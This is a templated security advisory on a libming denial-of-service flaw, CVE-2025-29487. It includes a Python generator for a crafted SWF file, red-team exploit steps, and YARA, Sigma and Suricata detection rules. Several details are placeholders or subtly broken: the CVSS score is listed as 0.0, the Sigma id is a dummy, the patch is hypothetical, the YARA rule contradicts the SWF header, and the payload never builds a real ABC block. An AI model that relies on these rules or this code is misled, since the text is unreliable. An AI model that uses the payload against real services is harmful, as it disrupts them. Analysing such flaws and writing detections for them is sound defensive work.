CVE-2025-29487

Executive Summary

CVE-2025-29487 is a denial-of-service (DoS) vulnerability in the parseABC_STRING_INFO function of libming v0.4.8. An attacker can trigger an out-of-memory condition by providing a specially crafted input, leading to allocator exhaustion and application crash. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to its potential to disrupt services. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability affects the libming library, which is a C/C++ library used for SWF (Shockwave Flash) file processing. It is not distributed via NPM, PyPI, Go, or Ruby registries. However, any application or service that uses libming to parse untrusted SWF files is at risk. Supply chain risk is elevated due to the lack of a patch and the library's unmaintained status.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be triggered remotely by sending a malicious SWF file.
• Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs to provide a crafted input.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – The victim does not need to perform any action beyond processing the file.
• Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – The service becomes unavailable due to memory exhaustion.

Threat Level: Medium. While the impact is limited to availability, the low attack complexity and network vector make it a viable tool for disrupting services.

Deep Dive & Mechanics

The vulnerability resides in the parseABC_STRING_INFO function within libming's ABC (ActionScript Byte Code) parser. When processing a SWF file, the function reads a length field from the input and allocates memory accordingly. By providing an extremely large or malformed length value, an attacker can force the allocator to request an excessive amount of memory, leading to an out-of-memory (OOM) condition.

Root Cause: Lack of input validation on the length field before memory allocation. The function does not check if the requested size is reasonable or within bounds, allowing an attacker to exhaust system memory.

Trigger Path:

1. Attacker crafts a malicious SWF file with a manipulated ABC block.
2. The file is parsed by libming, which calls parseABC_STRING_INFO.
3. The function reads the length field and attempts to allocate memory.
4. The allocation fails or consumes all available memory, causing a crash or hang.

Vulnerable vs. Patched Code

Vulnerable Code (libming v0.4.8):

// In parseABC_STRING_INFO
unsigned int length = read_u32(input);
char *str = (char *)malloc(length + 1); // No bounds check
if (str == NULL) {
    // Error handling may be insufficient
}

Patched Code (Hypothetical):

// In parseABC_STRING_INFO
unsigned int length = read_u32(input);
if (length > MAX_STRING_SIZE) {
    // Reject oversized allocation
    return ERROR;
}
char *str = (char *)malloc(length + 1);
if (str == NULL) {
    // Proper error handling
    return ERROR;
}

Key Difference: The patched version adds a sanity check on the length value before allocation, preventing memory exhaustion.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• libming v0.4.8 compiled and running as a service (e.g., a SWF parser daemon).
• Ability to send a crafted SWF file to the service.

Exploit Steps:

1. Create a malicious SWF file with an ABC block containing an extremely large string length (e.g., 0xFFFFFFFF).
2. Send the file to the target service using a tool like curl or a custom script.
3. The service will attempt to allocate memory, leading to a crash or hang.

Example Payload Generation (Python):

import struct

def create_malicious_swf():
    # Minimal SWF header
    swf = b'FWS' + struct.pack('<I', 0)  # Version 0, file length 0
    # ABC block with oversized string length
    abc_block = b'\x00' * 10  # Placeholder
    # Inject large length
    abc_block += struct.pack('<I', 0xFFFFFFFF)  # 4GB allocation request
    swf += abc_block
    with open('malicious.swf', 'wb') as f:
        f.write(swf)

create_malicious_swf()

Blue Team (Defense & Detection)

Detection:

• Monitor for excessive memory allocation by processes using libming.
• Use memory usage thresholds to alert on abnormal spikes.

Mitigation:

• If possible, replace libming with an actively maintained alternative.
• Implement input validation at the application level before passing data to libming.
• Use resource limits (e.g., ulimit on Linux) to cap memory usage.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available – no known samples)
• Network Patterns: SWF files with abnormally large ABC blocks.
• Process Behavior: Sudden memory spike in processes using libming (e.g., swfparse).
• Log Entries: Out-of-memory errors or crashes in application logs.

Detection Engineering

YARA Rule

rule CVE_2025_29487_libming_OOM {
    meta:
        description = "Detects malicious SWF files targeting CVE-2025-29487"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-29487"
    strings:
        $abc_magic = { 00 00 00 00 }  // ABC block identifier (simplified)
        $large_len = { FF FF FF FF }  // 4GB length value
    condition:
        $abc_magic at 0 and $large_len
}

Sigma Rule

title: CVE-2025-29487 - libming Out-of-Memory DoS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects excessive memory allocation by libming processes
author: Valters IT
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/swfparse'
        CommandLine|contains: 'malicious.swf'
    condition: selection
falsepositives:
    - Legitimate large SWF files
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-29487 - libming OOM Attempt"; flow:to_server,established; content:"|46 57 53|"; offset:0; depth:3; content:"|FF FF FF FF|"; distance:10; within:4; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate any systems using libming v0.4.8 from untrusted networks.
2. Apply resource limits (e.g., ulimit -v 500000) to prevent memory exhaustion.
3. Monitor for abnormal memory usage in processes that use libming.

Long-Term Fix:

• Since no official patch exists, consider migrating to an alternative library (e.g., swftools or a custom parser).
• If migration is not possible, implement a wrapper that validates input before passing it to libming.

Workaround:

• Disable SWF parsing if not essential.
• Use a Web Application Firewall (WAF) to filter out suspicious SWF files.

Valters IT
DevSecOps & Cyber Threat Intelligence